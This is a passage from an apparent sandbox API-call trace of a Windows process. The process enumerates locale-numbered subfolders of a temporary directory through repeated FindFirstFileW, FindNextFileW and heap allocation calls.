dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.592] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.593] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1820 [0146.593] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.593] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.593] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.594] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.594] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.594] FindClose (in: hFindFile=0x6c1820 | out: hFindFile=0x6c1820) returned 1 [0146.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.594] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.594] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.595] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.595] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.595] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.595] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.595] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.596] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.596] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1920 [0146.597] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.597] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.597] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.597] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.597] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.597] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.598] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1920 [0146.599] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.600] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.600] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c15e0 [0146.601] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.601] FindClose (in: hFindFile=0x6c15e0 | out: hFindFile=0x6c15e0) returned 1 [0146.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.602] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.602] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.603] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.603] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.603] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.603] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.603] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.603] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.604] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.604] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1520 [0146.605] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.605] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.605] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.605] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.605] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.605] FindClose (in: hFindFile=0x6c1520 | out: hFindFile=0x6c1520) returned 1 [0146.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.606] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.606] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.607] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.607] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.607] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.607] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.607] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.607] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.608] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.608] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c15e0 [0146.609] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.609] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.609] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.609] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.609] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.609] FindClose (in: hFindFile=0x6c15e0 | out: hFindFile=0x6c15e0) returned 1 [0146.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.610] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.610] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c19a0 [0146.610] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.610] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.611] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.611] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.611] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.611] FindClose (in: hFindFile=0x6c19a0 | out: hFindFile=0x6c19a0) returned 1 [0146.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.611] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.612] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.612] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.612] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.612] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.613] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.613] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.613] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.613] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.613] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1720 [0146.614] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.614] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.614] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.614] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.614] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.615] FindClose (in: hFindFile=0x6c1720 | out: hFindFile=0x6c1720) returned 1 [0146.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.615] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.615] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1660 [0146.616] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.616] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.616] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.616] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.617] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.617] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.617] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.617] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1420 [0146.618] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.618] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.618] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.618] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.618] FindNextFileW (in: hFindFile=0x6c1420, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.618] FindClose (in: hFindFile=0x6c1420 | out: hFindFile=0x6c1420) returned 1 [0146.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.619] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.619] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1560 [0146.620] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.620] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.620] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.620] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.620] FindNextFileW (in: hFindFile=0x6c1560, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.620] FindClose (in: hFindFile=0x6c1560 | out: hFindFile=0x6c1560) returned 1 [0146.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.621] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.621] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.622] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.622] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.622] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.622] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.622] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.622] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.623] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.623] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c14a0 [0146.624] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.624] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.624] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.624] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.624] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.624] FindClose (in: hFindFile=0x6c14a0 | out: hFindFile=0x6c14a0) returned 1 [0146.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.625] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.625] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1620 [0146.740] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.740] FindNextFileW (in: hFindFile=0x6c1620, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.741] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.742] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.743] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.745] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.746] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.747] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.749] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.749] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.750] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.750] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.750] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.750] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.750] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.751] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.751] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.751] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.751] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.751] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.753] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.753] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.753] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.753] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.754] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.754] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.754] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.754] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: 